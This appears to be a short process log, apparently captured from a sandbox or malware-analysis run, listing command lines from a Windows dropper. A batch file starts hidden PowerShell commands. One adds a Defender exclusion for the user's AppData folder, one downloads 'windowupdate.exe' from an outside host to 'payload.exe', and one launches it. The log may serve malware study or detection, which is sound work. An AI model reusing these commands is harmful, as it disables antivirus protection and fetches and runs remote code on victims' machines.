cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "QrILIjCuiQZL" C:\Users\test22\AppData\Local\Temp\main.bat
1188powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData'"
2216powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://tiendev.click/windowupdate.exe' -OutFile 'C:\Users\test22\AppData\Roaming\Custom-Application\files\payload.exe'"
2336powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\test22\AppData\Roaming\Custom-Application\files\payload.exe'"
2440